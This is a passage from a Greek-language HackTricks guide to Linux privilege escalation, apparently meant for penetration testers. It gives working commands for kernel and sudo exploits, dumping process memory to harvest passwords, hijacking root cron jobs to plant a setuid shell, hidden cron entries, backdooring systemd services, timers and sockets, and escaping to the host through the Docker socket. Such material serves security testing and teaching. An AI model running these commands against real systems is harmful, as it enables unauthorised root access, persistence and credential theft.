Linux Privilege Escalation

Υποστηρίξτε το HackTricks

Πληροφορίες Συστήματος

Πληροφορίες Λειτουργικού Συστήματος

Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Διαδρομή

Αν έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή PATH ενδέχεται να μπορείτε να αρπάξετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:

echo $PATH

Πληροφορίες περιβάλλοντος

Ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή κλειδιά API στις μεταβλητές περιβάλλοντος;

(env || set) 2>/dev/null

Εκμετάλλευση πυρήνα

Ελέγξτε την έκδοση του πυρήνα και αν υπάρχει κάποια εκμετάλλευση που μπορεί να χρησιμοποιηθεί για την ανάδειξη προνομίων

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά εκ των προτέρων μεταγλωττισμένα exploits εδώ: https://github.com/lucyoa/kernel-exploits και exploitdb sploits. Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικά μεταγλωττισμένα exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτό τον ιστότοπο, μπορείτε να κάνετε:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση εκμεταλλεύσεων πυρήνα είναι:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (εκτέλεση ΣΤΟ θύμα, ελέγχει μόνο εκμεταλλεύσεις για πυρήνα 2.x)

Πάντα ψάξτε την έκδοση του πυρήνα στο Google, ίσως η έκδοση του πυρήνα σας να είναι γραμμένη σε κάποια εκμετάλλευση πυρήνα και τότε θα είστε σίγουροι ότι αυτή η εκμετάλλευση είναι έγκυρη.

CVE-2016-5195 (DirtyCow)

Ανόρθωση Προνομίων Linux - Πυρήνας Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Έκδοση Sudo

Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται σε:

searchsploit sudo

Μπορείτε να ελέγξετε αν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Από τον χρήστη @sickrov

sudo -u#-1 /bin/bash

Αποτυχία επαλήθευσης υπογραφής Dmesg

Ελέγξτε το smasher2 box του HTB για ένα παράδειγμα πώς μπορεί να εκμεταλλευτεί αυτή η ευπάθεια

dmesg 2>/dev/null | grep "signature"

Περισσότερη απαρίθμηση συστήματος

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Απαρίθμηση πιθανών αμυντικών μέτρων

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Προστασία Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Διαρροή Docker

Αν βρίσκεστε μέσα σε ένα container του Docker μπορείτε να προσπαθήσετε να δραπετεύσετε από αυτό:

Docker Security

Δίσκοι

Ελέγξτε τι είναι προσαρτημένο και αποσυνδεδεμένο, πού και γιατί. Αν κάτι είναι αποσυνδεδεμένο μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για προσωπικές πληροφορίες

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Χρήσιμο λογισμικό

Καταγράψτε χρήσιμα δυαδικά αρχεία

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Επίσης, ελέγξτε εάν έχει εγκατασταθεί κάποιος μεταγλωττιστής. Αυτό είναι χρήσιμο εάν χρειαστεί να χρησιμοποιήσετε κάποια εκμετάλλευση πυρήνα καθώς συνιστάται να τη μεταγλωττίσετε στο μηχάνημα όπου πρόκειται να τη χρησιμοποιήσετε (ή σε ένα παρόμοιο).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Εγκατεστημένο Ευάλωτο Λογισμικό

Ελέγξτε τη έκδοση των εγκατεστημένων πακέτων και υπηρεσιών. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να εκμεταλλευτεί για την ανάδειξη προνομίων... Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού.

dpkg -l #Debian
rpm -qa #Centos

Αν έχετε πρόσβαση SSH στη μηχανή, μπορείτε επίσης να χρησιμοποιήσετε το openVAS για να ελέγξετε αν έχει εγκατασταθεί στη μηχανή ξεπερασμένο και ευάλωτο λογισμικό.

Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται η χρήση κάποιων εφαρμογών όπως το OpenVAS ή κάτι παρόμοιο που θα ελέγξει αν κάποια έκδοση εγκατεστημένου λογισμικού είναι ευάλωτη σε γνωστές εκμεταλλεύσεις

Διεργασίες

Ρίξτε μια ματιά σε ποιες διεργασίες εκτελούνται και ελέγξτε αν κάποια διεργασία έχει περισσότερα προνόμια από ό,τι θα έπρεπε (ίσως ένα tomcat να εκτελείται από τον χρήστη root;)

ps aux
ps -ef
top -n 1

Πάντα ελέγχετε για πιθανούς αποσφαλματωτές electron/cef/chromium που εκτελούνται, μπορείτε να τους εκμεταλλευτείτε για εξέλιξη προνομίων. Το Linpeas τους ανιχνεύει ελέγχοντας την παράμετρο --inspect μέσα στη γραμμή εντολών της διαδικασίας. Επίσης ελέγξτε τα προνόμιά σας πάνω στα δυαδικά των διεργασιών, ίσως μπορείτε να αντικαταστήσετε κάποιον.

Παρακολούθηση διεργασιών

Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το pspy για την παρακολούθηση διεργασιών. Αυτό μπορεί να είναι πολύ χρήσιμο για την αναγνώριση ευάλωτων διεργασιών που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.

Μνήμη διεργασιών

Κάποιες υπηρεσίες ενός διακομιστή αποθηκεύουν διαπιστευτήρια σε καθαρό κείμενο μέσα στη μνήμη. Συνήθως θα χρειαστείτε δικαιώματα ρίζας για να διαβάσετε τη μνήμη των διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη ρίζα και θέλετε να ανακαλύψετε περισσότερα διαπιστευτήρια. Ωστόσο, θυμηθείτε ότι ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διεργασιών που σας ανήκουν.

Σημειώστε ότι σήμερα τα περισσότερα μηχανήματα δεν επιτρέπουν το ptrace από προεπιλογή που σημαίνει ότι δεν μπορείτε να αντλήσετε άλλες διεργασίες που ανήκουν στον μη εξουσιοδοτημένο χρήστη.

Το αρχείο /proc/sys/kernel/yama/ptrace_scope ελέγχει την προσβασιμότητα του ptrace:

  • kernel.yama.ptrace_scope = 0: όλες οι διεργασίες μπορούν να ελεγχθούν, όσο έχουν τον ίδιο uid. Αυτό είναι ο κλασικός τρόπος λειτουργίας του ptrace.

  • kernel.yama.ptrace_scope = 1: μόνο μια γονική διεργασία μπορεί να ελεγχθεί.

  • kernel.yama.ptrace_scope = 2: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτείται η δυνατότητα CAP_SYS_PTRACE.

  • kernel.yama.ptrace_scope = 3: Δεν μπορεί να ελεγχθεί καμία διεργασία με το ptrace. Μόλις οριστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά η δυνατότητα ελέγχου με το ptrace.

GDB

Αν έχετε πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείτε να ανακτήσετε το Heap και να αναζητήσετε μέσα σε αυτό τα διαπιστευτήριά της.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Σενάριο GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Για ένα δεδομένο αναγνωριστικό διεργασίας, το maps δείχνει πώς η μνήμη είναι αντιστοιχισμένη μέσα στον χώρο διεύθυνσης εκείνης της διεργασίας· επίσης δείχνει τις άδειες κάθε αντιστοιχισμένης περιοχής. Το ψευδές αρχείο mem αποκαλύπτει την ίδια τη μνήμη των διεργασιών. Από το αρχείο **maps γνωρίζουμε ποιες περιοχές μνήμης είναι αναγνώσιμες και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να ψάξουμε στο αρχείο mem και να αντλήσουμε όλες τις αναγνώσιμες περιοχές σε ένα αρχείο.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem παρέχει πρόσβαση στη φυσική μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας το /dev/kmem. Συνήθως, το /dev/mem είναι μόνο αναγνώσιμο από τον root και την ομάδα kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump για Linux

Το ProcDump είναι μια επανεκδοχή για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για τα Windows. Βρείτε το στο https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Εργαλεία

Για την απορρόφηση μνήμης ενός διεργασίας μπορείτε να χρησιμοποιήσετε:

Διαπιστευτήρια από τη Μνήμη της Διεργασίας

Χειροκίνητο παράδειγμα

Αν διαπιστώσετε ότι η διεργασία ελέγχου ταυτότητας εκτελείται:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Μπορείτε να αδειάσετε τη διαδικασία (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να αδειάσετε τη μνήμη μιας διαδικασίας) και να αναζητήσετε διαπιστευτήρια μέσα στη μνήμη:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Το εργαλείο https://github.com/huntergregal/mimipenguin θα κλέψει διαπιστευτήρια κειμένου από τη μνήμη και από μερικά γνωστά αρχεία. Απαιτεί δικαιώματα ρίζας για να λειτουργήσει σωστά.

ΧαρακτηριστικόΌνομα Διεργασίας

Κωδικός GDM (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Ενεργές Συνδέσεις FTP)

vsftpd

Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth)

apache2

OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo)

sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Προγραμματισμένες/Cron εργασίες

Ελέγξτε εάν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα σενάριο που εκτελείται από το ριζικό χρήστη (ευπάθεια με χρήση μπαλαντέρ; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο ριζικός χρήστης; χρησιμοποιήστε συμβολικούς συνδέσμους; δημιουργήστε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο ριζικός χρήστης;).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Διαδρομή Cron

Για παράδειγμα, μέσα στο /etc/crontab μπορείτε να βρείτε τη ΔΙΑΔΡΟΜΗ: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Σημειώστε πως ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user)

Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει τη διαδρομή. Για παράδειγμα: * * * * root overwrite.sh Τότε, μπορείτε να αποκτήσετε ένα root shell χρησιμοποιώντας:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Χρήση του Cron με ένα script που περιέχει μεταβλητή (Εισχώρηση με Wildcard)

Εάν ένα script εκτελείται από τον χρήστη root και περιέχει ένα "*" μέσα σε ένα command, μπορείτε να εκμεταλλευτείτε αυτό για να προκαλέσετε απρόσμενα πράγματα (όπως ανέλιξη προνομίων). Παράδειγμα:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Αν το μπαλαντέρ προηγείται ενός διαδρόμου όπως /some/path/* , δεν είναι ευάλωτο (ακόμη και το ./* δεν είναι).

Διαβάστε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης μπαλαντέρ:

Wildcards Spare tricks

Αντικατάσταση σεναρίου Cron και σύμβολο συμβολικού συνδέσμου

Αν μπορείτε να τροποποιήσετε ένα σενάριο Cron που εκτελείται από το ριζικό χρήστη, μπορείτε να αποκτήσετε πολύ εύκολα ένα κέλυφος:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Αν το script που εκτελείται από το root χρησιμοποιεί ένα κατάλογο στον οποίο έχετε πλήρη πρόσβαση, ίσως είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και να δημιουργήσετε ένα σύνδεσμο σε έναν άλλο φάκελο που εξυπηρετεί ένα script που ελέγχετε εσείς

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Συχνές εργασίες cron

Μπορείτε να παρακολουθείτε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να αναβαθμίσετε τα προνόμια.

Για παράδειγμα, για παρακολούθηση κάθε 0,1 δευτερολέπτου για 1 λεπτό, ταξινόμηση με λιγότερες εκτελούμενες εντολές και διαγραφή των εντολών που έχουν εκτελεστεί τις περισσότερες φορές, μπορείτε να κάνετε:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Μπορείτε επίσης να χρησιμοποιήσετε pspy (αυτό θα παρακολουθεί και θα καταχωρίζει κάθε διεργασία που ξεκινά).

Αόρατες εργασίες cron

Είναι δυνατόν να δημιουργήσετε μια εργασία cron βάζοντας ένα χαρακτήρα αλλαγής γραμμής μετά από ένα σχόλιο (χωρίς χαρακτήρα νέας γραμμής), και η εργασία cron θα λειτουργεί. Παράδειγμα (σημειώστε τον χαρακτήρα αλλαγής γραμμής):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Υπηρεσίες

Εγγράψιμα αρχεία .service

Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο .service, αν μπορείτε, μπορείτε να το τροποποιήσετε ώστε να εκτελεί το backdoor σας όταν η υπηρεσία ξεκινάει, επανεκκινείται ή σταματάει (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση του υπολογιστή). Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο αρχείο .service με ExecStart=/tmp/script.sh

Εγγράψιμα δυαδικά αρχεία υπηρεσιών

Να έχετε υπόψη ότι αν έχετε δικαιώματα εγγραφής σε δυαδικά αρχεία που εκτελούνται από υπηρεσίες, μπορείτε να τα αλλάξετε για backdoors, έτσι ώστε όταν οι υπηρεσίες επανεκτελούνται, τα backdoors θα εκτελούνται.

systemd PATH - Σχετικά μονοπάτια

Μπορείτε να δείτε το PATH που χρησιμοποιείται από το systemd με:

systemctl show-environment

Εάν ανακαλύψετε ότι μπορείτε να εγγράψετε σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να είστε σε θέση να εξελίξετε τα δικαιώματά σας. Πρέπει να αναζητήσετε σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών όπως:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Στη συνέχεια, δημιουργήστε ένα εκτελέσιμο αρχείο με το ίδιο όνομα με το δυαδικό αρχείο στη σχετική διαδρομή μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν ζητηθεί από την υπηρεσία να εκτελέσει την ευάλωτη ενέργεια (Έναρξη, Διακοπή, Επαναφόρτωση), το backdoor σας θα εκτελεστεί (συνήθως οι μη προνομιούχοι χρήστες δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες, αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε sudo -l).

Μάθετε περισσότερα για τις υπηρεσίες με την εντολή man systemd.service.

Χρονοδιακόπτες

Οι Χρονοδιακόπτες (Timers) είναι αρχεία μονάδας του systemd των οποίων το όνομα τελειώνει σε **.timer** που ελέγχουν αρχεία ή συμβάντα **.service**. Οι Χρονοδιακόπτες μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογίου και γεγονότα μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.

Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:

systemctl list-timers --all

Εγγράψιμοι χρονοδιακόπτες

Εάν μπορείτε να τροποποιήσετε ένα χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει ορισμένες υπάρχουσες μονάδες του systemd (όπως ένα αρχείο .service ή ένα αρχείο .target).

Unit=backdoor.service

Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Μονάδα:

Η μονάδα που θα ενεργοποιηθεί όταν αυτός ο χρονοδιακόπτης λήξει. Το όρισμα είναι το όνομα μιας μονάδας, η οποία δεν έχει κατάληξη ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα του χρονοδιακόπτη, εκτός από την κατάληξη. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας του χρονοδιακόπτη να είναι πανομοιότυπα, εκτός από την κατάληξη.

Συνεπώς, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαζόσασταν:

  • Να βρείτε μια μονάδα systemd (όπως ένα .service) που εκτελεί ένα εγγράψιμο δυαδικό αρχείο

  • Να βρείτε μια μονάδα systemd που εκτελεί ένα σχετικό μονοπάτι και να έχετε εγγράψιμα δικαιώματα πάνω στο σύστημα PATH του systemd (για να προσωποποιήσετε αυτό το εκτελέσιμο)

Μάθετε περισσότερα για τους χρονοδιακόπτες με την εντολή man systemd.timer.

Ενεργοποίηση Χρονοδιακόπτη

Για να ενεργοποιήσετε ένα χρονοδιακόπτη χρειάζεστε δικαιώματα ριζού και να εκτελέσετε:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Σημειώστε ότι ο χρονοδιακόπτης ενεργοποιείται δημιουργώντας ένα σύμβολο σύνδεσης προς αυτό στο /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Τα Unix Domain Sockets (UDS) επιτρέπουν τη επικοινωνία διεργασιών στον ίδιο ή διαφορετικό υπολογιστή μέσα σε μοντέλα πελάτη-εξυπηρετητή. Χρησιμοποιούν τυπικά αρχεία περιγραφέων Unix για τη διασύνδεση μεταξύ υπολογιστών και δημιουργούνται μέσω αρχείων .socket.

Τα Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία .socket.

Μάθετε περισσότερα για τα sockets με την εντολή man systemd.socket. Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Αυτές οι επιλογές είναι διαφορετικές, αλλά μια περίληψη χρησιμοποιείται για να υποδείξει πού θα ακούει το socket (η διαδρομή του αρχείου AF_UNIX socket, ο αριθμός θύρας IPv4/6 για ακρόαση, κλπ.)

  • Accept: Παίρνει ένα όρισμα boolean. Αν είναι true, ένα παράδειγμα υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση και μόνο το socket σύνδεσης περνιέται σε αυτό. Αν είναι false, όλα τα ακούσματα sockets περνιούνται στην ενεργοποιημένη μονάδα υπηρεσίας, και δημιουργείται μόνο μια μονάδα υπηρεσίας για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets δεδομένων και FIFOs όπου μια μονάδα υπηρεσίας χειρίζεται απόλυτα όλη την εισερχόμενη κίνηση. Προεπιλογή σε false. Λόγω λόγων απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για Accept=no.

  • ExecStartPre, ExecStartPost: Παίρνει μία ή περισσότερες γραμμές εντολών, οι οποίες εκτελούνται πριν ή μετά τη δημιουργία και δέσμευση των ακουστικών sockets/FIFOs αντίστοιχα. Το πρώτο τεκμήριο της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από ορίσματα για τη διαδικασία.

  • ExecStopPre, ExecStopPost: Επιπλέον εντολές που εκτελούνται πριν ή μετά το κλείσιμο και την αφαίρεση των ακουστικών sockets/FIFOs αντίστοιχα.

  • Service: Καθορίζει το όνομα της μονάδας υπηρεσίας που θα ενεργοποιηθεί στην εισερχόμενη κίνηση. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλέγεται η υπηρεσία που φέρει το ίδιο όνομα με το socket (με το επίθεμα αντικαταστάθηκε). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.

Αρχεία .socket εγγράψιμα

Αν βρείτε ένα εγγράψιμο αρχείο .socket μπορείτε να προσθέσετε στην αρχή της ενότητας [Socket] κάτι σαν: ExecStartPre=/home/kali/sys/backdoor και το backdoor θα εκτελεστεί πριν δημιουργηθεί το socket. Συνεπώς, ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση η συσκευή. Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτήν τη διαμόρφωση του αρχείου socket ή αλλιώς το backdoor δεν θα εκτελεστεί

Εγγράψιμα sockets

Αν εντοπίσετε οποιοδήποτε εγγράψιμο socket (τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία διαμόρφωσης .socket), τότε μπορείτε να επικοινωνήσετε με αυτό το socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.

Απαρίθμηση Unix Sockets

netstat -a -p --unix

Ακατέργαστη σύνδεση

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Παράδειγμα εκμετάλλευσης:

Socket Command Injection

HTTP sockets

Σημειώστε ότι ενδέχεται να υπάρχουν sockets που ακούνε για HTTP αιτήσεις (δεν αναφέρομαι σε αρχεία .socket αλλά σε αρχεία που λειτουργούν ως unix sockets). Μπορείτε να το ελέγξετε με:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Εγγράψιμο Socket Docker

Το Docker socket, που συχνά βρίσκεται στη διαδρομή /var/run/docker.sock, είναι ένα κρίσιμο αρχείο που πρέπει να προστατεύεται. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη root και τα μέλη της ομάδας docker. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε ανάδειξη προνομίων. Εδώ υπάρχει μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο.

Ανάδειξη Προνομίων με το Docker CLI

Εάν έχετε πρόσβαση εγγραφής στο Docker socket, μπορείτε να αναβαθμίσετε τα προνόμια χρησιμοποιώντας τις ακόλουθες εντολές:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Χρήση του Docker API Απευθείας

Σε περιπτώσεις όπου το Docker CLI δεν είναι διαθέσιμο, το Docker socket μπορεί ακόμα να χειριστεί χρησιμοποιώντας το Docker API και εντολές curl.

  1. Λίστα Εικόνων Docker: Ανάκτηση της λίστας των διαθέσιμων εικόνων.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Δημιουργία Ενός Εμπορεύματος: Αποστολή αιτήματος για τη δημιουργία ενός εμπορεύματος που συνδέει το ριζικό κατάλογο του συστήματος φιλοξενίας.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Εκκίνηση του νεοδημιουργημένου εμπορεύματος:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Σύνδεση στο Εμπόρευμα: Χρησιμοποιήστε το socat για να καθιερώσετε μια σύνδεση με το εμπόρευμα, ενεργοποιώντας την εκτέλεση εντολών μέσα σε αυτό.

socat - UNIX-CONNECT:/var/run/docker.sock
